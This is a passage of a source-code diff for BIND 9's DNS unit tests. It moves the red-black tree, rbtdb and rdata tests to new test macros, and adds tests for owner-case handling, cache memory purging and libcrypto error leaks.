 	result = dns_rbt_findnode(ctx->rbt, name, NULL, &node, &chain, 0, NULL,
@@ -1150,7 +1090,7 @@ rbt_nodechain(void **state) {
 
 	foundname = dns_fixedname_initname(&found);
 
-	dns_test_namefromstring("a", &expect);
+	dns_test_namefromstring("a.", &expect);
 	expected = dns_fixedname_name(&expect);
 	UNUSED(expected);
 
@@ -1185,15 +1125,12 @@ rbt_nodechain(void **state) {
 }
 
 /* Test addname return values */
-static void
-rbtnode_namelen(void **state) {
+ISC_RUN_TEST_IMPL(rbtnode_namelen) {
 	isc_result_t result;
 	test_context_t *ctx = NULL;
 	dns_rbtnode_t *node;
 	unsigned int len;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
@@ -1205,19 +1142,19 @@ rbtnode_namelen(void **state) {
 	assert_int_equal(len, 1);
 	node = NULL;
 
-	result = insert_helper(ctx->rbt, "a.b.c.d.e.f.g.h.i.j.k.l.m", &node);
+	result = insert_helper(ctx->rbt, "a.b.c.d.e.f.g.h.i.j.k.l.m.", &node);
 	len = dns__rbtnode_namelen(node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(len, 27);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "isc.org", &node);
+	result = insert_helper(ctx->rbt, "isc.org.", &node);
 	len = dns__rbtnode_namelen(node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(len, 9);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "example.com", &node);
+	result = insert_helper(ctx->rbt, "example.com.", &node);
 	len = dns__rbtnode_namelen(node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(len, 13);
@@ -1266,8 +1203,7 @@ find_thread(void *arg) {
 }
 
 /* Benchmark RBT implementation */
-static void
-benchmark(void **state) {
+ISC_RUN_TEST_IMPL(benchmark) {
 	isc_result_t result;
 	char namestr[sizeof("name18446744073709551616.example.org.")];
 	unsigned int r;
@@ -1280,8 +1216,6 @@ benchmark(void **state) {
 	unsigned int nthreads;
 	isc_thread_t threads[32];
 
-	UNUSED(state);
-
 	srandom(time(NULL));
 
 	debug_mem_record = false;
@@ -1300,7 +1234,7 @@ benchmark(void **state) {
 
 	/* Create a tree. */
 	mytree = NULL;
-	result = dns_rbt_create(dt_mctx, NULL, NULL, &mytree);
+	result = dns_rbt_create(mctx, NULL, NULL, &mytree);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Insert test data into the tree. */
@@ -1312,8 +1246,7 @@ benchmark(void **state) {
 		node->data = (void *)(intptr_t)i;
 	}
 
-	result = isc_time_now(&ts1);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	ts1 = isc_time_now();
 
 	nthreads = ISC_MIN(isc_os_ncpus(), 32);
 	nthreads = ISC_MAX(nthreads, 1);
@@ -1325,8 +1258,7 @@ benchmark(void **state) {
 		isc_thread_join(threads[i], NULL);
 	}
 
-	result = isc_time_now(&ts2);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	ts2 = isc_time_now();
 
 	t = isc_time_microdiff(&ts2, &ts1);
 
@@ -1342,47 +1274,24 @@ benchmark(void **state) {
 }
 #endif /* defined(DNS_BENCHMARK_TESTS) && !defined(__SANITIZE_THREAD__)  */
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(rbt_create, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_nodecount, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbtnode_get_distance, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbt_check_distance_random,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_check_distance_ordered,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_insert, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_remove, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_insert_and_remove, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbt_findname, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbt_addname, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(rbt_deletename, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbt_nodechain, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(rbtnode_namelen, _setup,
-						_teardown),
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(rbt_create)
+ISC_TEST_ENTRY(rbt_nodecount)
+ISC_TEST_ENTRY(rbtnode_get_distance)
+ISC_TEST_ENTRY(rbt_check_distance_random)
+ISC_TEST_ENTRY(rbt_check_distance_ordered)
+ISC_TEST_ENTRY(rbt_insert)
+ISC_TEST_ENTRY(rbt_remove)
+ISC_TEST_ENTRY(rbt_insert_and_remove)
+ISC_TEST_ENTRY(rbt_findname)
+ISC_TEST_ENTRY(rbt_addname)
+ISC_TEST_ENTRY(rbt_deletename)
+ISC_TEST_ENTRY(rbt_nodechain)
+ISC_TEST_ENTRY(rbtnode_namelen)
 #if defined(DNS_BENCHMARK_TESTS) && !defined(__SANITIZE_THREAD__)
-		cmocka_unit_test_setup_teardown(benchmark, _setup, _teardown),
+ISC_TEST_ENTRY(benchmark)
 #endif /* defined(DNS_BENCHMARK_TESTS) && !defined(__SANITIZE_THREAD__) */
-	};
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/dns/rbtdb_test.c b/tests/dns/rbtdb_test.c
new file mode 100644
index 0000000000..6f2ab3ce26
--- /dev/null
+++ b/tests/dns/rbtdb_test.c
@@ -0,0 +1,389 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/util.h>
+
+#include <dns/rbt.h>
+#include <dns/rdatalist.h>
+#include <dns/rdataset.h>
+#include <dns/rdatastruct.h>
+#define KEEP_BEFORE
+
+/* Include the main file */
+
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wshadow"
+#undef CHECK
+#include "rbtdb.c"
+#pragma GCC diagnostic pop
+
+#undef CHECK
+#include <tests/dns.h>
+
+const char *ownercase_vectors[12][2] = {
+	{
+		"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+		"AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ",
+	},
+	{
+		"AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVxXyYzZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvxxyyzz",
+	},
+	{
+		"WwW.ExAmPlE.OrG",
+		"wWw.eXaMpLe.oRg",
+	},
+	{
+		"_SIP.tcp.example.org",
+		"_sip.TCP.example.org",
+	},
+	{
+		"bind-USERS.lists.example.org",
+		"bind-users.lists.example.org",
+	},
+	{
+		"a0123456789.example.org",
+		"A0123456789.example.org",
+	},
+	{
+		"\\000.example.org",
+		"\\000.example.org",
+	},
+	{
+		"wWw.\\000.isc.org",
+		"www.\\000.isc.org",
+	},
+	{
+		"\255.example.org",
+		"\255.example.ORG",
+	}
+};
+
+static bool
+ownercase_test_one(const char *str1, const char *str2) {
+	isc_result_t result;
+	rbtdb_nodelock_t node_locks[1];
+	dns_rbtdb_t rbtdb = {
+		.common.methods = &dns__rbtdb_zonemethods,
+		.common.mctx = mctx,
+		.node_locks = node_locks,
+	};
+	dns_rbtnode_t rbtnode = { .locknum = 0 };
+	dns_slabheader_t header = {
+		.node = &rbtnode,
+		.db = (dns_db_t *)&rbtdb,
+	};
+	unsigned char *raw = (unsigned char *)(&header) + sizeof(header);
+	dns_rdataset_t rdataset = {
+		.magic = DNS_RDATASET_MAGIC,
+		.slab = { .db = (dns_db_t *)&rbtdb,
+			  .node = &rbtnode,
+			  .raw = raw },
+		.methods = &dns_rdataslab_rdatasetmethods,
+	};
+	isc_buffer_t b;
+	dns_fixedname_t fname1, fname2;
+	dns_name_t *name1 = dns_fixedname_initname(&fname1);
+	dns_name_t *name2 = dns_fixedname_initname(&fname2);
+
+	memset(node_locks, 0, sizeof(node_locks));
+	/* Minimal initialization of the mock objects */
+	NODE_INITLOCK(&rbtdb.node_locks[0].lock);
+
+	isc_buffer_constinit(&b, str1, strlen(str1));
+	isc_buffer_add(&b, strlen(str1));
+	result = dns_name_fromtext(name1, &b, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_constinit(&b, str2, strlen(str2));
+	isc_buffer_add(&b, strlen(str2));
+	result = dns_name_fromtext(name2, &b, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/* Store the case from name1 */
+	dns_rdataset_setownercase(&rdataset, name1);
+
+	assert_true(CASESET(&header));
+
+	/* Retrieve the case to name2 */
+	dns_rdataset_getownercase(&rdataset, name2);
+
+	NODE_DESTROYLOCK(&rbtdb.node_locks[0].lock);
+
+	return (dns_name_caseequal(name1, name2));
+}
+
+ISC_RUN_TEST_IMPL(ownercase) {
+	UNUSED(state);
+
+	for (size_t n = 0; n < ARRAY_SIZE(ownercase_vectors); n++) {
+		assert_true(ownercase_test_one(ownercase_vectors[n][0],
+					       ownercase_vectors[n][1]));
+	}
+
+	assert_false(ownercase_test_one("W.example.org", "\\000.example.org"));
+
+	/* Ö and Ãļ in ISO Latin 1 */
+	assert_false(ownercase_test_one("\\216", "\\246"));
+}
+
+ISC_RUN_TEST_IMPL(setownercase) {
+	isc_result_t result;
+	rbtdb_nodelock_t node_locks[1];
+	dns_rbtdb_t rbtdb = {
+		.common.methods = &dns__rbtdb_zonemethods,
+		.common.mctx = mctx,
+		.node_locks = node_locks,
+	};
+	dns_rbtnode_t rbtnode = { .locknum = 0 };
+	dns_slabheader_t header = {
+		.node = &rbtnode,
+		.db = (dns_db_t *)&rbtdb,
+	};
+	unsigned char *raw = (unsigned char *)(&header) + sizeof(header);
+	dns_rdataset_t rdataset = {
+		.magic = DNS_RDATASET_MAGIC,
+		.slab = { .db = (dns_db_t *)&rbtdb,
+			  .node = &rbtnode,
+			  .raw = raw },
+		.methods = &dns_rdataslab_rdatasetmethods,
+	};
+	const char *str1 =
+		"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz";
+	isc_buffer_t b;
+	dns_fixedname_t fname1, fname2;
+	dns_name_t *name1 = dns_fixedname_initname(&fname1);
+	dns_name_t *name2 = dns_fixedname_initname(&fname2);
+
+	UNUSED(state);
+
+	/* Minimal initialization of the mock objects */
+	memset(node_locks, 0, sizeof(node_locks));
+	NODE_INITLOCK(&rbtdb.node_locks[0].lock);
+
+	isc_buffer_constinit(&b, str1, strlen(str1));
+	isc_buffer_add(&b, strlen(str1));
+	result = dns_name_fromtext(name1, &b, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_constinit(&b, str1, strlen(str1));
+	isc_buffer_add(&b, strlen(str1));
+	result = dns_name_fromtext(name2, &b, dns_rootname, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_false(CASESET(&header));
+
+	/* Retrieve the case to name2 */
+	dns_rdataset_getownercase(&rdataset, name2);
+
+	NODE_DESTROYLOCK(&rbtdb.node_locks[0].lock);
+
+	assert_true(dns_name_caseequal(name1, name2));
+}
+
+/*
+ * No operation water() callback. We need it to cause overmem condition, but
+ * nothing has to be done in the callback.
+ */
+static void
+overmempurge_water(void *arg, int mark) {
+	UNUSED(arg);
+	UNUSED(mark);
+}
+
+/*
+ * Add to a cache DB 'db' an rdataset of type 'rtype' at a name
+ * <idx>.example.com. The rdataset would contain one data, and rdata_len is
+ * its length. 'rtype' is supposed to be some private type whose data can be
+ * arbitrary (and it doesn't matter in this test).
+ */
+static void
+overmempurge_addrdataset(dns_db_t *db, isc_stdtime_t now, int idx,
+			 dns_rdatatype_t rtype, size_t rdata_len,
+			 bool longname) {
+	isc_result_t result;
+	dns_rdata_t rdata;
+	dns_dbnode_t *node = NULL;
+	dns_rdatalist_t rdatalist;
+	dns_rdataset_t rdataset;
+	dns_fixedname_t fname;
+	dns_name_t *name;
+	char namebuf[DNS_NAME_FORMATSIZE];
+	unsigned char rdatabuf[65535] = { 0 }; /* large enough for any valid
+						  RDATA */
+
+	REQUIRE(rdata_len <= sizeof(rdatabuf));
+
+	if (longname) {
+		/*
+		 * Build a longest possible name (in wire format) that would
+		 * result in a new rbt node with the long name data.
+		 */
+		snprintf(namebuf, sizeof(namebuf),
+			 "%010d.%010dabcdef%010dabcdef%010dabcdef%010dabcde."
+			 "%010dabcdef%010dabcdef%010dabcdef%010dabcde."
+			 "%010dabcdef%010dabcdef%010dabcdef%010dabcde."
+			 "%010dabcdef%010dabcdef%010dabcdef01.",
+			 idx, idx, idx, idx, idx, idx, idx, idx, idx, idx, idx,
+			 idx, idx, idx, idx, idx);
+	} else {
+		snprintf(namebuf, sizeof(namebuf), "%d.example.com.", idx);
+	}
+	dns_test_namefromstring(namebuf, &fname);
+	name = dns_fixedname_name(&fname);
+
+	result = dns_db_findnode(db, name, true, &node);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(node);
+
+	dns_rdata_init(&rdata);
+	rdata.length = rdata_len;
+	rdata.data = rdatabuf;
+	rdata.rdclass = dns_rdataclass_in;
+	rdata.type = rtype;
+
+	dns_rdatalist_init(&rdatalist);
+	rdatalist.rdclass = dns_rdataclass_in;
+	rdatalist.type = rtype;
+	rdatalist.ttl = 3600;
+	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
+
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+
+	result = dns_db_addrdataset(db, node, NULL, now, &rdataset, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_db_detachnode(db, &node);
+}
+
+ISC_RUN_TEST_IMPL(overmempurge_bigrdata) {
+	size_t maxcache = 2097152U; /* 2MB - same as DNS_CACHE_MINSIZE */
+	size_t hiwater = maxcache - (maxcache >> 3); /* borrowed from cache.c */
+	size_t lowater = maxcache - (maxcache >> 2); /* ditto */
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	isc_mem_t *mctx2 = NULL;
+	isc_stdtime_t now = isc_stdtime_now();
+	size_t i;
+
+	isc_mem_create(&mctx2);
+
+	result = dns_db_create(mctx2, "rbt", dns_rootname, dns_dbtype_cache,
+			       dns_rdataclass_in, 0, NULL, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_mem_setwater(mctx2, overmempurge_water, NULL, hiwater, lowater);
+
+	/*
+	 * Add cache entries with minimum size of data until 'overmem'
+	 * condition is triggered.
+	 * This should eventually happen, but we also limit the number of
+	 * iteration to avoid an infinite loop in case something gets wrong.
+	 */
+	for (i = 0; !isc_mem_isovermem(mctx2) && i < (maxcache / 10); i++) {
+		overmempurge_addrdataset(db, now, i, 50053, 0, false);
+	}
+	assert_true(isc_mem_isovermem(mctx2));
+
+	/*
+	 * Then try to add the same number of entries, each has very large data.
+	 * 'overmem purge' should keep the total cache size from not exceeding
+	 * the 'hiwater' mark too much. So we should be able to assume the
+	 * cache size doesn't reach the "max".
+	 */
+	while (i-- > 0) {
+		overmempurge_addrdataset(db, now, i, 50054, 65535, false);
+		assert_true(isc_mem_inuse(mctx2) < maxcache);
+	}
+
+	dns_db_detach(&db);
+	isc_mem_destroy(&mctx2);
+}
+
+ISC_RUN_TEST_IMPL(overmempurge_longname) {
+	size_t maxcache = 2097152U; /* 2MB - same as DNS_CACHE_MINSIZE */
+	size_t hiwater = maxcache - (maxcache >> 3); /* borrowed from cache.c */
+	size_t lowater = maxcache - (maxcache >> 2); /* ditto */
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	isc_mem_t *mctx2 = NULL;
+	isc_stdtime_t now = isc_stdtime_now();
+	size_t i;
+
+	isc_mem_create(&mctx2);
+
+	result = dns_db_create(mctx2, "rbt", dns_rootname, dns_dbtype_cache,
+			       dns_rdataclass_in, 0, NULL, &db);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_mem_setwater(mctx2, overmempurge_water, NULL, hiwater, lowater);
+
+	/*
+	 * Add cache entries with minimum size of data until 'overmem'
+	 * condition is triggered.
+	 * This should eventually happen, but we also limit the number of
+	 * iteration to avoid an infinite loop in case something gets wrong.
+	 */
+	for (i = 0; !isc_mem_isovermem(mctx2) && i < (maxcache / 10); i++) {
+		overmempurge_addrdataset(db, now, i, 50053, 0, false);
+	}
+	assert_true(isc_mem_isovermem(mctx2));
+
+	/*
+	 * Then try to add the same number of entries, each has very long name.
+	 * 'overmem purge' should keep the total cache size from not exceeding
+	 * the 'hiwater' mark too much. So we should be able to assume the cache
+	 * size doesn't reach the "max".
+	 */
+	while (i-- > 0) {
+		overmempurge_addrdataset(db, now, i, 50054, 0, true);
+		assert_true(isc_mem_inuse(mctx2) < maxcache);
+	}
+
+	dns_db_detach(&db);
+	isc_mem_destroy(&mctx2);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(ownercase)
+ISC_TEST_ENTRY(setownercase)
+ISC_TEST_ENTRY(overmempurge_bigrdata)
+ISC_TEST_ENTRY(overmempurge_longname)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/rdata_test.c b/tests/dns/rdata_test.c
similarity index 81%
rename from lib/dns/tests/rdata_test.c
rename to tests/dns/rdata_test.c
index 131f7804a7..8c197d8498 100644
--- a/lib/dns/tests/rdata_test.c
+++ b/tests/dns/rdata_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -22,18 +23,21 @@
 
 #define UNIT_TESTING
 
-#include <isc/cmocka.h>
+#include <cmocka.h>
+#include <openssl_shim.h>
+
+#include <openssl/err.h>
+
 #include <isc/commandline.h>
 #include <isc/hex.h>
 #include <isc/lex.h>
-#include <isc/print.h>
 #include <isc/stdio.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
 #include <dns/rdata.h>
 
-#include "dnstest.h"
+#include <tests/dns.h>
 
 static bool debug = false;
 
@@ -48,26 +52,11 @@ struct compare_ok {
 };
 typedef struct compare_ok compare_ok_t;
 
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
+struct textvsunknown {
+	const char *text1;
+	const char *text2;
+};
+typedef struct textvsunknown textvsunknown_t;
 
 /*
  * An array of these structures is passed to check_text_ok().
@@ -136,6 +125,23 @@ typedef struct wire_ok {
 #define WIRE_INVALID(FIRST, ...) WIRE_TEST(false, 0, FIRST, __VA_ARGS__)
 #define WIRE_SENTINEL()		 WIRE_TEST(false, 0)
 
+static void
+detect_uncleared_libcrypto_error(void) {
+	const char *file, *func, *data;
+	int line, flags;
+	long err;
+	bool leak = false;
+	while ((err = ERR_get_error_all(&file, &line, &func, &data, &flags)) !=
+	       0L)
+	{
+		fprintf(stderr,
+			"# Uncleared libcrypto error: %s:%d %s %s %ld %x\n",
+			file, line, func, data, err, flags);
+		leak = true;
+	}
+	assert_false(leak);
+}
+
 /*
  * Call dns_rdata_fromwire() for data in 'src', which is 'srclen' octets in
  * size and represents RDATA of given 'type' and 'class'.  Store the resulting
@@ -147,7 +153,6 @@ wire_to_rdata(const unsigned char *src, size_t srclen, dns_rdataclass_t rdclass,
 	      dns_rdatatype_t type, unsigned char *dst, size_t dstlen,
 	      dns_rdata_t *rdata) {
 	isc_buffer_t source, target;
-	dns_decompress_t dctx;
 	isc_result_t result;
 
 	/*
@@ -165,10 +170,9 @@ wire_to_rdata(const unsigned char *src, size_t srclen, dns_rdataclass_t rdclass,
 	/*
 	 * Try converting input data into uncompressed wire form.
 	 */
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_ANY);
-	result = dns_rdata_fromwire(rdata, rdclass, type, &source, &dctx, 0,
-				    &target);
-	dns_decompress_invalidate(&dctx);
+	result = dns_rdata_fromwire(rdata, rdclass, type, &source,
+				    DNS_DECOMPRESS_ALWAYS, &target);
+	detect_uncleared_libcrypto_error();
 
 	return (result);
 }
@@ -191,8 +195,9 @@ rdata_towire(dns_rdata_t *rdata, unsigned char *dst, size_t dstlen,
 	/*
 	 * Try converting input data into uncompressed wire form.
 	 */
-	dns_compress_init(&cctx, -1, dt_mctx);
+	dns_compress_init(&cctx, mctx, 0);
 	result = dns_rdata_towire(rdata, &cctx, &target);
+	detect_uncleared_libcrypto_error();
 	dns_compress_invalidate(&cctx);
 
 	*length = isc_buffer_usedlength(&target);
@@ -201,10 +206,12 @@ rdata_towire(dns_rdata_t *rdata, unsigned char *dst, size_t dstlen,
 }
 
 static isc_result_t
-additionaldata_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
+additionaldata_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype,
+		  dns_rdataset_t *found DNS__DB_FLARG) {
 	UNUSED(arg);
 	UNUSED(name);
 	UNUSED(qtype);
+	UNUSED(found);
 	return (ISC_R_SUCCESS);
 }
 
@@ -213,7 +220,8 @@ additionaldata_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
  */
 static isc_result_t
 rdata_additionadata(dns_rdata_t *rdata) {
-	return (dns_rdata_additionaldata(rdata, additionaldata_cb, NULL));
+	return (dns_rdata_additionaldata(rdata, dns_rootname, additionaldata_cb,
+					 NULL));
 }
 
 /*
@@ -238,17 +246,19 @@ rdata_checknames(dns_rdata_t *rdata) {
 	(void)dns_rdata_checknames(rdata, dns_rootname, NULL);
 	(void)dns_rdata_checknames(rdata, dns_rootname, bad);
 
-	result = dns_name_fromstring(name, "example.net", 0, NULL);
+	result = dns_name_fromstring(name, "example.net", dns_rootname, 0,
+				     NULL);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	(void)dns_rdata_checknames(rdata, name, NULL);
 	(void)dns_rdata_checknames(rdata, name, bad);
 
-	result = dns_name_fromstring(name, "in-addr.arpa", 0, NULL);
+	result = dns_name_fromstring(name, "in-addr.arpa", dns_rootname, 0,
+				     NULL);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	(void)dns_rdata_checknames(rdata, name, NULL);
 	(void)dns_rdata_checknames(rdata, name, bad);
 
-	result = dns_name_fromstring(name, "ip6.arpa", 0, NULL);
+	result = dns_name_fromstring(name, "ip6.arpa", dns_rootname, 0, NULL);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	(void)dns_rdata_checknames(rdata, name, NULL);
 	(void)dns_rdata_checknames(rdata, name, bad);
@@ -274,13 +284,14 @@ check_struct_conversions(dns_rdata_t *rdata, size_t structsize,
 	char buf[1024];
 	unsigned int count = 0;
 
-	rdata_struct = isc_mem_allocate(dt_mctx, structsize);
+	rdata_struct = isc_mem_allocate(mctx, structsize);
 	assert_non_null(rdata_struct);
 
 	/*
 	 * Convert from uncompressed wire form into type-specific struct.
 	 */
 	result = dns_rdata_tostruct(rdata, rdata_struct, NULL);
+	detect_uncleared_libcrypto_error();
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/*
@@ -299,7 +310,8 @@ check_struct_conversions(dns_rdata_t *rdata, size_t structsize,
 	assert_memory_equal(buf, rdata->data, rdata->length);
 
 	/*
-	 * Check that one can walk hip rendezvous servers.
+	 * Check that one can walk hip rendezvous servers and
+	 * https/svcb parameters.
 	 */
 	switch (type) {
 	case dns_rdatatype_hip: {
@@ -319,9 +331,41 @@ check_struct_conversions(dns_rdata_t *rdata, size_t structsize,
 		assert_int_equal(count, loop);
 		break;
 	}
+	case dns_rdatatype_https: {
+		dns_rdata_in_https_t *https = rdata_struct;
+
+		for (result = dns_rdata_in_https_first(https);
+		     result == ISC_R_SUCCESS;
+		     result = dns_rdata_in_https_next(https))
+		{
+			isc_region_t region;
+			dns_rdata_in_https_current(https, &region);
+			assert_true(region.length >= 4);
+			count++;
+		}
+		assert_int_equal(result, ISC_R_NOMORE);
+		assert_int_equal(count, loop);
+		break;
+	}
+	case dns_rdatatype_svcb: {
+		dns_rdata_in_svcb_t *svcb = rdata_struct;
+
+		for (result = dns_rdata_in_svcb_first(svcb);
+		     result == ISC_R_SUCCESS;
+		     result = dns_rdata_in_svcb_next(svcb))
+		{
+			isc_region_t region;
+			dns_rdata_in_svcb_current(svcb, &region);
+			assert_true(region.length >= 4);
+			count++;
+		}
+		assert_int_equal(result, ISC_R_NOMORE);
+		assert_int_equal(count, loop);
+		break;
+	}
 	}
 
-	isc_mem_free(dt_mctx, rdata_struct);
+	isc_mem_free(mctx, rdata_struct);
 }
 
 /*
@@ -339,6 +383,10 @@ check_text_ok_single(const text_ok_t *text_ok, dns_rdataclass_t rdclass,
 	isc_result_t result;
 	size_t length = 0;
 
+	if (debug) {
+		fprintf(stdout, "#check_text_ok_single(%s)\n",
+			text_ok->text_in);
+	}
 	/*
 	 * Try converting text form RDATA into uncompressed wire form.
 	 */
@@ -350,7 +398,9 @@ check_text_ok_single(const text_ok_t *text_ok, dns_rdataclass_t rdclass,
 	 */
 	if (text_ok->text_out != NULL) {
 		if (debug && result != ISC_R_SUCCESS) {
-			fprintf(stdout, "#'%s'\n", text_ok->text_in);
+			fprintf(stdout, "# '%s'\n", text_ok->text_in);
+			fprintf(stdout, "# result=%s\n",
+				isc_result_totext(result));
 		}
 		assert_int_equal(result, ISC_R_SUCCESS);
 	} else {
@@ -374,6 +424,19 @@ check_text_ok_single(const text_ok_t *text_ok, dns_rdataclass_t rdclass,
 	 */
 	isc_buffer_init(&target, buf_totext, sizeof(buf_totext));
 	result = dns_rdata_totext(&rdata, NULL, &target);
+	detect_uncleared_libcrypto_error();
+	if (result != ISC_R_SUCCESS && debug) {
+		size_t i;
+		fprintf(stdout, "# dns_rdata_totext -> %s",
+			isc_result_totext(result));
+		for (i = 0; i < rdata.length; i++) {
+			if ((i % 16) == 0) {
+				fprintf(stdout, "\n#");
+			}
+			fprintf(stdout, " %02x", rdata.data[i]);
+		}
+		fprintf(stdout, "\n");
+	}
 	assert_int_equal(result, ISC_R_SUCCESS);
 	/*
 	 * Ensure buf_totext is properly NUL terminated as dns_rdata_totext()
@@ -387,6 +450,10 @@ check_text_ok_single(const text_ok_t *text_ok, dns_rdataclass_t rdclass,
 	}
 	assert_string_equal(buf_totext, text_ok->text_out);
 
+	if (debug) {
+		fprintf(stdout, "#dns_rdata_totext -> '%s'\n", buf_totext);
+	}
+
 	/*
 	 * Ensure that fromtext_*() output is valid input for fromwire_*().
 	 */
@@ -446,6 +513,7 @@ check_text_conversions(dns_rdata_t *rdata) {
 	 */
 	isc_buffer_init(&target, buf_totext, sizeof(buf_totext));
 	result = dns_rdata_totext(rdata, NULL, &target);
+	detect_uncleared_libcrypto_error();
 	assert_int_equal(result, ISC_R_SUCCESS);
 	/*
 	 * Ensure buf_totext is properly NUL terminated as dns_rdata_totext()
@@ -463,6 +531,10 @@ check_text_conversions(dns_rdata_t *rdata) {
 	result = dns_test_rdatafromstring(&rdata2, rdata->rdclass, rdata->type,
 					  buf_fromtext, sizeof(buf_fromtext),
 					  buf_totext, false);
+	if (debug && result != ISC_R_SUCCESS) {
+		fprintf(stdout, "# result = %s\n", isc_result_totext(result));
+		fprintf(stdout, "# '%s'\n", buf_fromtext);
+	}
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(rdata2.length, rdata->length);
 	assert_memory_equal(buf_fromtext, rdata->data, rdata->length);
